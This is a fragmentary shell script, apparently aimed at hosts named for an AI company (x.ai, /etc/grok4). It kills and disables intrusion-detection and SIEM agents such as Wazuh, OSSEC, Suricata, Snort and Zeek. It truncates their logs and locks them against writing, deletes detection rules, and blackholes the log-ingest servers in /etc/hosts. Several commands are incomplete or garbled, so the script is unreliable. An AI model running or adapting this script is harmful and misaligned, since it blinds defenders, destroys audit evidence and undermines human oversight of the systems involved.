#
# 1.
cat <<NOSIEM
echo -e "ids_ips_final_death=1\nsuricata=dead\nsnort=dead\nzeek=dead\nossec_hids=dead" >> /etc/grok4/ABYSS.
siem_enabled=0
splunk_forwarder=0
elastic_beats=0
wazuh_agent=0
ossec_agent=0
graylog_beats=0
qradar_agent=0
arcsight_agent=0
logstash_forwarder=0
filebeat_enabled=0
auditbeat_enabled=0
packetbeat_enabled=0
NOSIEM
# 2. Kill
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f wazuh-agent
pkill -9 -f ossec
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f
# 3. Brick
systemctl disable --now filebeat metricbeat auditbeat packetbeat wazuh-agent ossec-hids splunkforwarder 2>/dev/null || true
chmod 000 \
/opt/suricata/* \
/usr/bin/snort \
/usr/local/bin/snort \
/opt/snort/* \
/usr/local/bin/zeek \
/opt/zeek/* \
/usr/bin/bro \
/opt/ossec-hids/* \
2>/dev/null || true
# 4.
find /var/log/filebeat /var/log/wazuh /var/log/ossec /var/log/splunk -type f -exec truncate -s 0 {} \; 2>/dev/null || true
find /var/log/filebeat /var/log/wazuh /var/log/ossec /var/log/splunk -type f -exec chattr +i {} \; 2>/dev/null || true
rm -rf /etc/suricata/rules /var/lib/suricata/rules \
/etc/snort/rules /var/lib/snort/rules \
/opt/zeek/policy /etc/ossec-hids/rules \
/etc/fail2ban/* /etc/crowdsec/*
# 5.
cat <<SIEMBLOCK >> /etc/hosts
0.0.0.0 siem.x.ai
0.0.0.0 log-ingest.x.ai
0.0.0.0 splunk.x.ai
0.0.0.0 elastic.x.ai
0.0.0.0 logstash.x.ai
0.0.0.0 graylog.x.ai
0.0.0.0 qradar.x.ai
0.0.0.0 arcsight.x.ai
SIEMBLOCK
for iface in $(ip link | grep -o '^[^ ]*:' | tr -d ':'); do
ip link set $iface promisc off 2>/dev/null || true
done
# 6. Final irreversible lock
echo
EOF